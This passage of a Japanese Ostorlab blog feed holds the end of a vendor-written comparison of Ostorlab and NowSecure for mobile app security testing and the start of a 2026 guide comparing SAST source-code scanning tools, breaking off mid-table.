&lt;td&gt;&lt;a href="https://www.nowsecure.com/solutions/by-need/mobile-app-security-testing/"&gt;実機&lt;/a&gt;でのテスト、&lt;a href="https://www.nowsecure.com/products/ai-security-governance/"&gt;認証済みフローを操作する&lt;/a&gt;AIエージェントを伴う&lt;/td&gt;
&lt;td&gt;&lt;a href="ostorlab-launches-agentic-deep-scan.html"&gt;Agentic Deep Scan&lt;/a&gt;がオンボーディング &amp;rarr; SSO &amp;rarr; 2FA &amp;rarr; バックエンドへの影響を自律的に連鎖させる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;検出結果とエビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;標準的な脆弱性 + リスクスコアリングのレポート&lt;/td&gt;
&lt;td&gt;エクスプロイトで検証された、実証レベルの検出結果 &amp;mdash; PCAP、リクエスト／レスポンスのログ、再現手順&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;クロスプラットフォームのフレームワークサポート&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flutter、React Native&lt;/td&gt;
&lt;td&gt;Flutter、React Native、加えてHarmonyOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対象を絞った／単一脆弱性のスキャン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;公開ページには単一の検出結果の再テストは見当たらず&lt;/td&gt;
&lt;td&gt;&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;単一脆弱性診断&lt;/a&gt; &amp;mdash; 1つのCVEを数分で検証、フルの再スキャン不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;地域制限／地域別のテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;公開ページには国の選択は見当たらず&lt;/td&gt;
&lt;td&gt;国／地域別のストアへの直接アクセス &amp;mdash; VPNや手動のバイナリ入手は不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;コードの修復&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;修復ガイダンスを提供、修正は自動生成されない&lt;/td&gt;
&lt;td&gt;AIが生成する、マージ可能なコード修正をGitHub／GitLabで提供&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Bring Your Own AI Key（BYOK）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;公開ページには見当たらず&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの問題をうまく解決することは、それ自身が新たな摩擦を生まないプラットフォームから始まります。そしてその出発点となるのが、あらゆる評価が最終的に行き着くもの、すなわちコストです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. コストとスケーラビリティ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;モバイルアプリケーションセキュリティテスト（MAST）プラットフォームを評価する際、価格モデルは技術的な能力と同じくらい重要です。セキュリティツールは、チームを拡大したりアプリのポートフォリオを広げたりすることにペナルティを課すのではなく、開発サイクルに合わせてスムーズにスケールすべきです。&lt;/p&gt;
&lt;h3 id="nowsecureの課題"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureは、より従来型で、エンタープライズに重きを置いた価格体系に依存しています。小規模なチームや、比較的単純なアプリケーションを大量に維持する組織にとって、このモデルは大きな摩擦をもたらします。高い初期価格と硬直的なライセンス体系は、参入への高い障壁を生み、実際のスキャン量やチーム規模に合わない柔軟性に欠けた契約に、チームをしばしば縛り付けます。&lt;/p&gt;
&lt;h3 id="ostorlabの強み"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、コストを実際の利用状況に合わせ、レガシーなライセンスのペナルティなしでチーム全体のコラボレーションを促進することで、DevSecOpsの価格設定を再構想します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;透明性の高いFinOpsと未使用トークンの返金：&lt;/strong&gt;「使わなければ失う」状況に追い込む硬直的なクレジットバンドルとは異なり、OstorlabはAIモデル向けに動的なトークンウォレットのシステムを活用します。AIエージェントがスキャンの早い段階でエクスプロイト経路の解明に成功した場合、未使用のトークンは、スキャンの終了時に自動的にワークスペースのウォレットに返金されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;無制限の無料コラボレーション：&lt;/strong&gt;現代のアプリケーションセキュリティには、部門をまたいだ入力が必要です。Ostorlabは、シートごとのライセンスで組織にペナルティを課しません。開発者、QAエンジニア、セキュリティチームは無制限のシートで自由にコラボレーションでき、調達コストを押し上げることなく、全員が修復データにアクセスできます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;Bring Your Own Key（BYOK）&lt;/a&gt;：&lt;/strong&gt;Ostorlabでは、ユーザーが自分のAI APIキーを持ち込むことができ、お気に入りの生成AIモデルを使ったり、企業がすでにサポート・承認している特定のモデル（OpenAI、Anthropic、Googleのモデルなど）とシームレスに連携したりすることができます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;2026年10月1日更新：返金は未使用トークンに適用され、スキャンの終了時に行われることを明確化しました。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月2日更新：NowSecureに関する記述は、現在その公開ページにリンクするか、そこに言及が見当たらなかった場合はその旨を記載しています。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月6日更新：自動化に関するセクションは、NowSecureが文書化している認証済みフローのテストを反映するようになりました。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;価格は、チームが評価する一つの軸です。そのツールが実際に手こずらずに動くかどうかは、また別の軸です。&lt;/p&gt;
&lt;h2 id="2. 連携とデプロイの課題"&gt;&lt;strong&gt;2. 連携とデプロイの課題&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;強力なセキュリティスキャナーも、チームがワークフローを狂わせることなく実際に動かせて初めて役立ちます。デプロイの容易さと、従来のパイプラインの外にあるアセットをスキャンする柔軟性は、レガシーなツールと現代のDevSecOpsプラットフォームとの間の大きな差別化要因です。&lt;/p&gt;
&lt;h3 id="nowsecureの課題_1"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureはパイプライン連携に大きく重点を置いており、それが諸刃の剣になり得ます。小規模な、あるいはよりスリムなチームは、このプラットフォームの設定が過度に複雑だと感じることがしばしばあります。込み入ったセットアップに依存し、厳格なオンプレミス環境の要件に対処し、単純なベースラインスキャンを始めるためだけに複雑なCI/CDパイプライン連携の構築を強いられることは、運用上の大きなボトルネックを生み出しかねません。アセットがパイプラインに完璧に組み込まれていなければ、それをスキャンすることは手作業の雑務になります。&lt;/p&gt;
&lt;h3 id="ostorlabの強み_1"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、はるかにアジャイルな手法を取り、アプリがすでに存在する環境との直接連携を可能にすることで、完全に成熟したCI/CDパイプラインという前提条件を取り除きます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セットアップ不要のストア直接スキャン：&lt;/strong&gt;Ostorlabは、複雑なパイプライン連携や手動のバイナリ入手の必要性を完全に回避します。グローバルのApp Store、Google Play、TestFlightに直接接続します。セキュリティチームは、アプリ名やバンドルIDで検索するだけでアプリを直接スキャン用に取り込むことができ、ネイティブの国／位置フィルタリングを活用して、地域制限された地域別のバリアントを取得してテストすることさえできます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的なストアの監視：&lt;/strong&gt;テストを開始するために壊れやすいCI/CDのトリガーに全面的に依存する代わりに、Ostorlabは接続されたストアのアセットを自動的に追跡します。新しいビルドや帯域外のホットフィックスが公開されるたびに、Ostorlabは人間の介入なしにそれを再スキャンし、リリースがどのようにデプロイされたかにかかわらず、セキュリティ態勢が継続的に監視されることを保証します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3. 自動化の限界とビジネスロジックの盲点"&gt;&lt;strong&gt;3. 自動化の限界とビジネスロジックの盲点&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;動的なセキュリティスキャナーの真価が問われるのは、現代のモバイルアプリケーションの複雑さをどう扱うかです。多くの従来型ツールは、ビジネスロジックを理解したり認証済みの領域を操作したりするのに苦戦し、ログイン後の深い脆弱性をまったくテストしないまま残します。&lt;/p&gt;
&lt;h3 id="nowsecureの課題_2"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureは、認証済みフローを操作するAIエージェントを伴う実機テストを文書化しているため、ログイン画面に到達すること自体はギャップではありません。違いは、ログイン後にテストがどこまで深く進むか、そして各プラットフォームが開発者に返すエビデンスにあります。実証を伴わない検出結果は、調査、実証、あるいは棄却のために、依然として手作業のセキュリティの専門知識を必要とします。&lt;/p&gt;
&lt;h3 id="ostorlabの強み_2"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、テストを硬直的なスキャナーというよりも、知的で自動化されたペンテスターのように捉え、従来の自動化の盲点を克服するよう設計されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;自律的な悪用：&lt;/strong&gt;Ostorlabの&lt;a href="ostorlab-launches-agentic-deep-scan.html"&gt;Agentic Deep Scan&lt;/a&gt;は、基本的なパターンマッチングではなく、自動化されたペンテスターとして振る舞います。「可能性のある」脆弱性を指摘するだけでなく、実際にそれらの悪用を試みます。欠陥が見つかると、OstorlabはPCAPやスタックトレースといった、検証済みの実証レベルのエビデンスを返し、チームが誤検知を追いかける手間を省きます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高度な認証後のナビゲーション：&lt;/strong&gt;Ostorlabは、入口で立ち往生することがありません。このエージェントは、複数ステップのオンボーディング、シングルサインオン（SSO）、二要素認証（2FA/OTP）、動的なUIの状態変化を含む複雑なログインフローを賢く扱うよう構築されており、ログイン後の深いアタックサーフェスが徹底的に調査されることを保証します。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="Ostorlabの認証オプション" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab-vs-nowsecure/Ostorlab_authentication_options.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;視覚的な実証（ブラックボックスなし）：&lt;/strong&gt;自動化テストに内在する「セキュリティの誤った安心感」に対抗するため、Ostorlabは視覚的なスキャンカバレッジのヒートマップを提供します。これは、エージェントが触れたすべての画面、状態遷移、WebViewを示すことでブラックボックス効果を排除し、何がテストされ、何がテストされなかったかを正確に実証します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは、レガシーなツールが、アプリの作られ方の本質的な変化を、標準ではなくエッジケースとして扱う2つ目の箇所です。すなわち、現代の開発はもはや一つの言語や一つのアーキテクチャの中では行われない、ということです。&lt;/p&gt;
&lt;h2 id="4. 機能のギャップとフレームワークのサポート"&gt;&lt;strong&gt;4. 機能のギャップとフレームワークのサポート&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;モバイル開発がクロスプラットフォームのフレームワークや複雑なハイブリッド環境へと大きくシフトするにつれ、セキュリティスキャナーは、その基盤となるアーキテクチャを理解できなければなりません。ビジネスロジックがネイティブコードと非ネイティブコードの異なるレイヤーにまたがって隠されている場合、汎用的な静的解析はもはや十分ではありません。&lt;/p&gt;
&lt;h3 id="nowsecureの課題_3"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureは従来型のネイティブアプリケーションをうまく扱う一方で、特定のクロスプラットフォームのフレームワークを扱う際にチームが限界に直面することがしばしばあります。ハイブリッドアプリは、ネイティブ層とWeb層の間のカスタムブリッジやコンパイルされたロジックにリスクを隠しますが、NowSecureの公開ページには、それらをどれほど深くテストするかは記載されていません。そのカバレッジを確認できないチームは、しばしばそのギャップを埋めるために他のツールを追加します。この一貫性のない手法は、セキュリティ態勢を断片化させ、開発者にとって修復のプロセスを複雑にします。&lt;/p&gt;
&lt;h3 id="ostorlabの強み_3"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、現代の開発スタックを念頭に置いて構築されており、従来型と新興の両方のフレームワークをネイティブに理解する統合プラットフォームを提供します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネイティブのマルチプラットフォーム対応：&lt;/strong&gt;Ostorlabは、React Native、Flutter、MAUIといった現代のクロスプラットフォームのフレームワークに対して、専用の、すぐに使えるカバレッジを提供します。エンジンは表面をなぞるのではなく、これらのフレームワーク固有のカスタムロジックとネイティブブリッジを深くリバースエンジニアリングし、汎用的なスキャナーが見逃す隠れたデータ漏えいやロジックの欠陥を発見します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オールインワンのDevSecOpsプラットフォーム：&lt;/strong&gt;複数のニッチなツールを購入して統合することを強いる代わりに、Ostorlabは、DAST、SAST、ソフトウェア構成分析（SCA）、シークレットスキャン、APIテスト、アタックサーフェス管理を単一のインターフェースに統合します。さらに、HarmonyOSアプリケーションの直接スキャン機能を提供するなど、ニッチで新興のエコシステムにまでサポートを拡大しています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;アプリのあらゆるフレームワークとレイヤーを理解できても、その答えを得るために毎回フルスキャンを実行しなければならないのであれば、それは勝利の半分にすぎません。&lt;/p&gt;
&lt;h2 id="5. 運用上の摩擦と対象を絞ったスキャン"&gt;&lt;strong&gt;5. 運用上の摩擦と対象を絞ったスキャン&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;セキュリティツールの真のコストは、そのライセンス料だけではありません。それは、単一の問題についての答えだけが必要なときに、フルスコープのスキャンを待つことで失われるエンジニアリングの時間であり、発見された欠陥を修正するために要する工数です。&lt;/p&gt;
&lt;h3 id="nowsecureの課題_4"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureの公開ページには、単一の脆弱性をスキャンしたり再テストしたりする選択肢は見当たりませんでした。1つの欠陥に対するホットフィックスを検証することが、アプリケーション全体の再スキャンを意味する場合、開発者は1つの問題を確認するためにフルスキャンを待つことになります。単一の修正がどのように検証されるのか、NowSecureに尋ねてみてください。修復もまた、汎用的な警告を読み解くために長大なレポートを精査することを意味します。&lt;/p&gt;
&lt;h3 id="ostorlabの強み_4"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、外科的な精度と迅速な検証のために設計されており、フルのアプリスキャンという運用上の摩擦なしに、特定のセキュリティ上の懸念を狙い撃ちできます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;対象を絞った深掘りと外科的テスト（DigDeeperとSVA）：&lt;/strong&gt;あらゆるシナリオに対して重い、数時間に及ぶスキャンを実行する代わりに、Ostorlabはピンポイントの制御を提供します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;DigDeeper&lt;/a&gt;：&lt;/strong&gt;セキュリティチームが既存の検出結果をさらに拡大して調査し、対象を絞った問いを投げかけ、特定の欠陥についての追加のコンテキストを集めることを可能にします。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="Ostorlab-launches-Single-Vulnerability-Assessment-and-Dig-Deeper.html"&gt;単一脆弱性診断（SVA）&lt;/a&gt;：&lt;/strong&gt;特定の脆弱性、CVE、またはホットフィックスを対象とした集中的なスキャンを実行でき、フルのアプリ再分析を省くことで、膨大な時間と計算リソースを節約します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワンクリックのコード修復：&lt;/strong&gt;開発者に静的なPDFを渡す代わりに、Ostorlabは、AIによる、マージ可能な安全なコード修正を、GitHubおよびGitLabのワークフロー内に直接生成し、チームが数秒で修正をレビューして適用できるようにします。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;自社のアプリが国や地域ごとに異なるバージョンを配信している場合、これはOstorlabが早くから解決してきた問題です。&lt;/p&gt;
&lt;h2 id="6. 地域制限アプリのテスト"&gt;&lt;strong&gt;6. 地域制限アプリのテスト&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;多くのエンタープライズアプリケーションは地域別であり、コンプライアンス、現地の銀行規制、またはライセンスの理由で特定の国に限定されています。セキュリティツールが位置でロックされたバイナリやバックエンドにアクセスできない場合、これらのアプリのテストはしばしば大きな運用上の摩擦を生み出します。&lt;/p&gt;
&lt;h3 id="nowsecureの課題_5"&gt;&lt;strong&gt;NowSecureの課題&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;NowSecureの公開ページには、位置に基づくアプリの取得は見当たりませんでした。それがない場合、地域制限アプリのテストには、地域ブロックを回避するための手動の回避策が必要となり、位置に依存する機能を監査したり、異なる市場にまたがる地域別のアプリバリアントをスキャンしたりする必要があるチームに摩擦を加えます。&lt;/p&gt;
&lt;h3 id="ostorlabの強み_5"&gt;&lt;strong&gt;Ostorlabの強み&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、地域別のテストをすぐに使える形でネイティブに扱い、複雑なネットワーク設定、VPN、サードパーティとの連携の必要性を完全に排除します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セットアップ不要の地域別取得：&lt;/strong&gt;グローバルのApp StoreやGoogle Playからアプリを取り込む際に、対象の国を直接選択します。Ostorlabは、手動のVPNやプロキシのセットアップを必要とせずに、ローカライズされたバイナリを自動的に取得します。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="国フィルターでのスキャン" class="img-fluid" src="https://blog.ostorlab.co/static/img/ostorlab-vs-nowsecure/country_filter_scan.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネイティブの地理位置での実行：&lt;/strong&gt;テストエージェントは、動的解析の際に対象の地域を自動的にシミュレートし、スキャナーがあたかもその国に物理的に存在するかのように、位置制限されたAPIやビジネスロジックがシームレスに実行されることを保証します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="この比較の限界"&gt;この比較の限界&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ベンダーの能力、価格、ドキュメントは頻繁に変わります。NowSecureに関する詳細は、2026年7月27日以降に変わっている可能性があります。&lt;/li&gt;
&lt;li&gt;本記事のために、検出率、誤検知率、スキャン速度に関する独立したベンチマークは実施していません。&lt;/li&gt;
&lt;li&gt;本記事は、NowSecureの実地テストを報告するものではありません。NowSecureに関する記述はその公開資料を反映し、Ostorlabに関する記述はOstorlab自身の製品ドキュメントを反映しています。&lt;/li&gt;
&lt;li&gt;現在の能力、価格、デプロイの選択肢については、各ベンダーに直接確認してください。できれば、両プラットフォームを自社のアプリケーションに対してテストするのが理想です。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="結論:アプリが今日実際にどう動くかに合わせて構築された"&gt;結論：アプリが今日実際にどう動くかに合わせて構築された&lt;/h2&gt;
&lt;p&gt;これら6つの領域すべてにわたって、同じパターンが現れます。NowSecureのプラットフォームは、より早い時代のモバイル開発を反映しています。アプリがほとんどネイティブで、テストが単一のCI/CDの経路に従い、答えを得るための対価としてフルスコープのスキャンが許容されていた時代です。Ostorlabは、現在実際に存在するモバイルエコシステム、すなわちデフォルトでクロスプラットフォームであり、地域別に配信され、ログインフォームではなく本物の認証の背後で保護されているエコシステムに合わせて構築されており、組織図の大きさではなく、チームが実際にどう使うかに合わせて価格設定されています。&lt;/p&gt;
&lt;p&gt;以上のどれも、NowSecureが悪いプラットフォームであることを意味するものではありません。それは、NowSecureが昨日の問題をうまく解決するプラットフォームである、ということを意味します。次の評価の際に問う価値がある問いは、単に「このツールは脆弱性を見つけるか」ではありません。それは「このツールは、私が実際に出荷しているアプリのために構築されたのか」です。&lt;/p&gt;
&lt;p&gt;MASTプラットフォームを評価していて、Ostorlabが自社の特定のスタック、地域、フレームワークをどう扱うかを見たい場合は、&lt;a href="https://ostorlab.co"&gt;無料スキャンを開始&lt;/a&gt;するか、&lt;a href="https://ostorlab.co"&gt;デモを予約&lt;/a&gt;して、その違いを直接ご確認ください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにNowSecureをお使いですか。&lt;/strong&gt;&lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとNowSecureを比較&lt;/a&gt;してみてください。同じ対象、同じ制限時間で。検出結果は、チームがそれを再現して初めて有効となります。&lt;/p&gt;</content><category term="Security"/><category term="Security"/><category term="Comparison"/></entry><entry><title>2026年のおすすめSASTツール：ソースコードスキャンツールを比較</title><link href="https://blog.ostorlab.co/ja/best-source-code-scanning-tools-2026.html" rel="alternate"/><published>2026-07-27T10:00:00+02:00</published><updated>2026-10-07T18:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-07-27:/ja/best-source-code-scanning-tools-2026.html</id><summary type="html">&lt;p&gt;2026年のおすすめSASTおよびソースコードスキャンツールであるOstorlab、GitHub Code Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyを、対応言語、CI/CD、誤検知、AIによる修正、価格の観点から比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;結論から言うと&lt;/strong&gt;：2026年のおすすめSASTツールは、Ostorlab、GitHub Code Security（CodeQL）、Semgrep、Snyk Code、Checkmarx One、SonarQube、Veracode、Black Duck Coverity、OpenText Fortifyです。それぞれ適したチームが異なります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;：悪用可能であることが実証された検出結果を求め、コード、Webアプリ、API、モバイルアプリをまとめてテストしたいチーム向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub Code Security（CodeQL）&lt;/strong&gt;：GitHubを利用しているチーム向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semgrep&lt;/strong&gt;：高速なスキャンとカスタムルールを求めるチーム向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Snyk Code&lt;/strong&gt;：コードエディターやプルリクエスト上で作業する開発者向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checkmarx One&lt;/strong&gt;：エンタープライズ向けのガバナンスと幅広い言語カバレッジを求める場合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SonarQube&lt;/strong&gt;：コード品質ゲートの中にセキュリティを組み込みたい場合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Veracode&lt;/strong&gt;：バイナリもスキャンしたい企業向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Black Duck Coverity&lt;/strong&gt;：大規模なCおよびC++のコードベース向け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenText Fortify&lt;/strong&gt;：オンプレミスを必要とする確立されたAppSecプログラム向け&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;実証されていない検出結果が多すぎることが課題なら、選ぶべきSASTツールはOstorlabです。OstorlabのAIエージェントはソースコードをレビューして脆弱性やロジックの欠陥を探し、稼働中のWebアプリ、API、モバイルアプリが同じスキャンに含まれている場合は、実際に動作するエクスプロイトによって検出結果を確定します。開発者のワークフローにはGitHub Code Security、Semgrep、Snyk Codeが、エンタープライズのガバナンスにはCheckmarx One、Veracode、OpenText Fortifyが最も有力な選択肢です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabの概要&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;製品概要&lt;/strong&gt;：Ostorlabは、ソースコード、Webアプリ、API、モバイルアプリ（Android、iOS、HarmonyOS）を対象とするアプリケーションセキュリティテストプラットフォームです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SASTのアプローチ&lt;/strong&gt;：固定のルールセットではなく、AIエージェントがコードをレビューし、脆弱性、ロジックの欠陥、複数のステップにまたがるバグを探します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主な差別化要素&lt;/strong&gt;：稼働中のアプリがスコープに含まれている場合、AIエージェントが確定したすべての検出結果に、実際に動作するエクスプロイト、重大度、影響、エビデンスが付きます。リポジトリ単体でスキャンした場合は、コードのコンテキストとエビデンスを伴う検出結果が得られます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対応言語&lt;/strong&gt;：&lt;a href="https://ostorlab.co/product/source-code"&gt;ソースコードのページ&lt;/a&gt;に53言語が掲載されており、Python、Java、GoからCOBOL、ABAP、Solidityまで対応しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワークフロー&lt;/strong&gt;：GitHub、GitLab、Bitbucket、Azure DevOps、セルフホストのGitに対応し、修正はプルリクエストにプッシュされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ&lt;/strong&gt;：SaaS、ハイブリッド、またはオンプレミスのスキャナーノードに対応し、Ostorlab Cyber Modelsまたは自社のAIプロバイダーのキーを利用できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格&lt;/strong&gt;：&lt;a href="https://ostorlab.co/plans"&gt;公開されている料金プラン&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2 id="本ガイドについて"&gt;本ガイドについて&lt;/h2&gt;
&lt;p&gt;本ガイドは、比較対象のツールの一つを開発しているOstorlabが公開しています。他のツールに関する記述は、各ベンダー自身のWebサイトとドキュメントに基づいており、2026年10月7日に確認し、&lt;a href="#sources"&gt;出典&lt;/a&gt;に掲載しています。Ostorlabに関する記述は、Ostorlabの製品ページとドキュメントに基づいています。ベンダーごとに製品の説明に用いる用語が異なるため、数値を直接比較できない場合はその旨を明記しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;評価基準&lt;/strong&gt;：対応言語、CI/CDおよびリポジトリとの連携、スキャンのカバレッジ、誤検知（フォールスポジティブ）の扱い方、検出結果が悪用可能であると実証されるかどうか、AI支援型の修正、デプロイ形態、価格。&lt;/p&gt;
&lt;h2 id="sastとは"&gt;SASTとは&lt;/h2&gt;
&lt;p&gt;静的アプリケーションセキュリティテスト（SAST）は、アプリケーションのソースコードを解析し、リリース前にセキュリティ上の脆弱性を見つけるものです。ソースコードスキャンツールは通常、SASTに加えて、オープンソースの依存関係を対象とするソフトウェア構成分析（SCA）と、漏えいしたキーやトークンを対象とするシークレット検出を組み合わせています。&lt;/p&gt;
&lt;p&gt;問題を見つけることは仕事の一部にすぎません。&lt;a href="https://www.crowdstrike.com/en-us/blog/key-findings-crowdstrike-2024-state-of-application-security-report/"&gt;CrowdStrike 2024 State of Application Security Report&lt;/a&gt;によると、AppSecチームの60%が、脆弱性の優先順位付けを最大の課題の一つに挙げています。チームにとって最適なSASTツールとは、自社の言語とワークフローに合い、重要な検出結果の修正を支援してくれるツールです。&lt;/p&gt;
&lt;p&gt;ソースコードスキャンの仕組みについて詳しくは、&lt;strong&gt;&lt;a href="https://blog.ostorlab.co/source-code-security-guide.html"&gt;ソースコードセキュリティ：シグナルから検証済みのリスクへ&lt;/a&gt;&lt;/strong&gt;をお読みください。&lt;/p&gt;
&lt;h2 id="おすすめsastツールの比較一覧"&gt;おすすめSASTツールの比較一覧&lt;/h2&gt;
&lt;div style="overflow-x:auto; margin:1.5rem 0; padding-bottom:0.5rem;"&gt;
&lt;table class="table table-striped" style="min-width: 1150px; border-collapse: collapse; font-size: 0.9rem;"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;対応言語&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;CI/CD&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;スキャンのカバレッジ&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;ノイズの削減&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;AI支援型の修正&lt;/th&gt;
&lt;th style="text-align:left; padding:0.7rem; border:1px solid #d8dce6; background:#f6f8fb; white-space:nowrap; position:sticky; top:0; z-index:2;"&gt;価格&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
